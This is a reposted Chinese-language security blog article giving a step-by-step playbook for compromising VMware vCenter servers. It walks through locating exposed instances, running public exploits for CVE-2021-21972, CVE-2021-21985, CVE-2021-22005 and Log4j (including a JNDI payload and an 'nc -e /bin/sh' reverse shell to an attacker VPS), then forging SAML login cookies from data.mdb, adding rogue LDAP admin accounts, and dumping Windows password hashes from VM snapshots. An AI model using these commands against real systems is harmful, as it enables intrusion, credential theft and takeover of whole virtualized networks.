分享 | VMware vCenter漏洞实战利用总结

文章来源:零队

前言


Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

利用思路


  • Vcenter利用点非常多,获取权限之后危害较大,并且web特征明显,内网中很容易被发现。

  • 发现之后,查看Vcenter版本信息,确定存在的漏洞,通过漏洞获取webshell。

  • 测试权限,如果权限为root,进行伪造cookie或者创建用户操作获取web权限,进入vCenter后台获取更多机器的权限,尽可能的滚雪球扩大战果,如果权限为vsphere-ui,则查看版本是否存在条件提权,存在条件提权就提权到root权限,重复root权限操作。如果不存在条件提权,就尽可能的从当前机器中记录数据,以此机器作为跳板机进行内网漫游。

实战思路


  • 为什么要打Vcenter

Vcenter人送外号小域控,Vcenter拿下之后,不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】,拿下Vcenter的价值不亚于域控的价值。

  • 怎么寻找公网的Vcenter

通过搜索语法查找公网Vcenter服务器,一般Vcenter开放的端口为5480,此外,使用工具获取网页title时,也可以发现Vcenter服务器。


        
 `title="+ ID\_VC\_Welcome +"` 
 


      
  • 打下Vcenter之后应该做什么

内网三要素,我是谁?我在哪?我要去哪?接下来就是翻找数据,伪造cookie或者创建用户操作获取web权限,获取windows机器的hash,或者直接进入虚拟机进行信息搜集,做专属的密码本,一些相关的敏感数据也是加分项,以便于后期的内网渗透,信息搜集做的好,漏洞绝对跑不了。

查看Vcenter版本


        
 `/sdk/vimServiceVersions.xml` 
 


      

picture.image

漏洞利用


·Nuclei

工具介绍

Nuclei是一个快速的、基于模板的漏洞扫描程序,专注于广泛的可配置性、大规模的可扩展性和易用性,方便利用模板快速定位漏洞。

项目地址

https://github.com/projectdiscovery/nuclei

·CVE-2021-21972

使用脚本

https://github.com/NS-Sp4ce/CVE-2021-21972

命令


        
 `python cve-2021-21972.py -url` 
 


      

picture.image

picture.image

影响版本

**VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG**

攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。

确认漏洞

  1. 通过Nuclei获取存在漏洞的网站。
  2. Url中拼接/ui/vropspluginui/rest/services/uploadova,如果页面返回状态码为200、405,则可能存在漏洞。

picture.image

·CVE-2021-21985

使用脚本

https://github.com/r0ckysec/CVE-2021-21985

命令

VPS


        
  `java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <监听port> # 使用脚本生成pyload`
  `nc -lvvp <监听port> # nc接收反弹shell`
 


      

picture.image

picture.image

攻击鸡


        
 `python cve-2021-21985\_exp.py <target> <rmi://ip/class>` 
 


      

picture.image

影响版本

**VMware vCenter Server 7.0系列 < 7.0.U2b

VMware vCenter Server 6.7系列 < 6.7.U3n

VMware vCenter Server 6.5系列 < 6.5 U3p

VMware Cloud Foundation 4.x 系列 < 4.2.1

VMware Cloud Foundation 4.x 系列 < 3.10.2.1**

确认漏洞

nuclei扫描

·CVE-2021-22005

使用脚本

https://github.com/shmilylty/cve-2021-22005-exp

命令


        
 `exp.exe -t <target> -s <webshell>` 
 


      

picture.image

如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。

picture.image

picture.image

影响版本

VMware vCenter Server 7.0

VMware vCenter Server 6.7 Running On Virtual Appliance

VMware Cloud Foundation (vCenter Server) 4.x

VMware Cloud Foundation (vCenter Server) 3.x

确认漏洞

利用nuclei扫描

·Log4j

使用脚本

https://github.com/zzwlpx/JNDIExploit

命令

漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。

SAML路由路径如下:


        
 `/websso/SAML2/SSO/vsphere.local?SAMLRequest=` 
 


      

Payload如下:


        
 `${jndi:ldap://exp}` 
 


      

picture.image

picture.image

exp的内容需要通过上面给出的脚本JDNI注入工具完成。


        
 `java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps\_ip` 
 


      

查看可执行的命令


        
 `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` 
 


      

picture.image

利用命令行反弹shell

利用命令行反弹shell的方式有两种,第一种是直接使用工具中自带的/ReverseShell/ip/port,但是这种方式不适合用于Vcenter,虽然可以反弹回shell,但是执行命令无法回显。这里选择使用以下命令反弹shell


        
 `nc -e /bin/sh vps\_ip port` 
 


      

picture.image

picture.image

后续利用


获取web权限


·伪造cookie

使用脚本

https://github.com/horizon3ai/vcenter\_saml\_login/blob/main/vcenter\_saml\_login.py

命令

使用脚本时可能会报错,需要提前安装requirements.txt下的库

picture.image

windows下安装python-ldap的方法:

下载对应python版本的python-ldap(cp310代表的是python3.10的版本)

项目地址

https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap


        
 `pip install python\_ldap-3.4.0-cp310-cp310-win\_amd64.whl` 
 


      

picture.image

picture.image

获取data.mdb


        
  `windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb`
  `linux:/storage/db/vmware-vmdir/data.mdb`
 


      

从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。

伪造cookie

目标机器内网ip需要本地可以访问到,否则无法伪造cookie。


        
 `python vcenter\_saml\_login.py -t <目标机器内网ip> -p data.mdb` 
 


      

picture.image

使用cookie修改工具,修改cookie的值

picture.image

picture.image

修改完成之后,点击页面的启动

picture.image

picture.image

如果没成功,则代表需要设置hosts指定域名和ip的关系,清除浏览器缓存重新访问。

·LDAP创建管理员

使用脚本

文章

https://3gstudent.github.io/vSphere开发指南5-LDAP

脚本

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP\_Manage.py

实战

将脚本上传之后,执行命令搜集相关信息,方便后续替换


        
  `python update.py`
  `python update.py getadmin`
  `python update.py getuser`
 


      

picture.image

picture.image

picture.image

根据收集到的信息修改脚本内容

picture.image

使用下列命令adduser、addadmin


        
  `python update.py adduser`
  `python update.py addadmin`
 


      

picture.image

picture.image

登录验证

picture.image

·获取Vcenter后台windows机器权限

使用脚本

https://www.volatilityfoundation.org/releases

手法

利用伪造cookie或者LDAP创建管理员进入到后台,找到一台处于锁屏界面的windows主机,创建快照。

picture.image

快照保存在相对应的数据库中,在相对应的数据库中下载vmem和vmsn这两个文件。

picture.image

利用volatility查看Suggested Profile(s)

默认选择第一个(volatility默认推荐)


        
 `volatility\_2.6\_win64\_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo` 
 


      

picture.image

列出注册表内容


        
 `volatility\_2.6\_win64\_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist` 
 


      

picture.image

使用hashdump获取hash值


        
  `volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010`
 


      

picture.image

还有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
评论
未登录
暂无评论